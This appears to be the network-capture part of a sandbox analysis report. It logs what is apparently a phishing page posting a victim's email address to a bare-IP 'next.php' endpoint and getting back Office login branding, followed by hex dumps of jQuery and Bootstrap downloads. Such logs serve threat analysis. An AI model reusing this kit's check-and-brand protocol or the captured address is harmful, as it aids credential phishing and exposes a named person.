Sep 16, 2024 21:11:20.852911949 CEST	1.1.1.1	192.168.2.16	0x649e	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:21.133435965 CEST	1.1.1.1	192.168.2.16	0xd831	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:21.133435965 CEST	1.1.1.1	192.168.2.16	0xd831	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:21.134305000 CEST	1.1.1.1	192.168.2.16	0xe776	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:21.134305000 CEST	1.1.1.1	192.168.2.16	0xe776	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:21.134305000 CEST	1.1.1.1	192.168.2.16	0xe776	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

stackpath.bootstrapcdn.com

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

1203395472-1323985617.cos.sa-saopaulo.myqcloud.com

fs.microsoft.com

slscr.update.microsoft.com

aadcdn.msauth.net

aadcdn.msftauth.net

www.bing.com

157.173.120.174

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49719	157.173.120.174	80	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 21:11:15.368765116 CEST	384	OUT	POST /1203395472/next.php HTTP/1.1 Host: 157.173.120.174 Connection: keep-alive Content-Length: 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
Sep 16, 2024 21:11:16.942367077 CEST	388	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:15 GMT Server: Apache/2.4.57 (AlmaLinux) OpenSSL/3.0.7 X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0
Sep 16, 2024 21:11:20.039434910 CEST	472	OUT	POST /1203395472/next.php HTTP/1.1 Host: 157.173.120.174 Connection: keep-alive Content-Length: 43 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 73 74 65 76 65 6e 2e 68 61 65 72 6c 65 40 65 74 63 63 6f 6e 6e 65 63 74 2e 63 6f 6d Data Ascii: do=check&email=steven.haerle@etcconnect.com
Sep 16, 2024 21:11:20.965221882 CEST	728	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:20 GMT Server: Apache/2.4.57 (AlmaLinux) OpenSSL/3.0.7 X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 36 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 63 6d 6d 71 71 61 6d 31 34 6a 77 71 75 6e 37 7a 65 6f 66 77 36 6f 63 78 30 6a 35 38 68 66 74 79 7a 71 7a 73 77 74 71 74 62 79 65 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 36 38 30 32 32 32 35 31 34 34 31 37 36 38 33 38 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 63 6d 6d 71 71 61 6d 31 34 6a 77 71 75 6e 37 7a 65 6f 66 77 36 6f 63 78 30 6a 35 38 68 66 74 79 7a 71 7a 73 77 74 71 74 62 79 65 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 3f 74 73 3d 36 33 36 38 30 32 33 39 33 34 38 34 36 [TRUNCATED] Data Ascii: 164{"status":"success","banner":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-cmmqqam14jwqun7zeofw6ocx0j58hftyzqzswtqtbye\/logintenantbranding\/0\/bannerlogo?ts=636802225144176838","background":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-cmmqqam14jwqun7zeofw6ocx0j58hftyzqzswtqtbye\/logintenantbranding\/0\/illustration?ts=636802393484662561","type":"office"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49725	157.173.120.174	80	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 21:11:16.951390982 CEST	287	OUT	GET /1203395472/next.php HTTP/1.1 Host: 157.173.120.174 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 16, 2024 21:11:17.732742071 CEST	246	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:17 GMT Server: Apache/2.4.57 (AlmaLinux) OpenSSL/3.0.7 X-Powered-By: PHP/8.0.30 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 16, 2024 21:11:20.981530905 CEST	287	OUT	GET /1203395472/next.php HTTP/1.1 Host: 157.173.120.174 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 16, 2024 21:11:21.156586885 CEST	245	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:21 GMT Server: Apache/2.4.57 (AlmaLinux) OpenSSL/3.0.7 X-Powered-By: PHP/8.0.30 Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49707	151.101.130.137	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	602	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:13 UTC	610	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 908384 Date: Mon, 16 Sep 2024 19:11:13 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740055-EWR X-Cache: HIT, HIT X-Cache-Hits: 42, 0 X-Timer: S1726513873.126649,VS0,VE1 Vary: Accept-Encoding
2024-09-16 19:11:13 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-09-16 19:11:13 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-09-16 19:11:13 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-09-16 19:11:13 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-09-16 19:11:13 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49711	104.18.10.207	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	613	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:13 UTC	948	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 16156202 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8c43293b4e9432fa-EWR alt-svc: h3=":443"; ma=86400
2024-09-16 19:11:13 UTC	421	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bff/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 Data Ascii: query","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b Data Ascii: ,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 Data Ascii: ew _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 Data Ascii: t();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].C
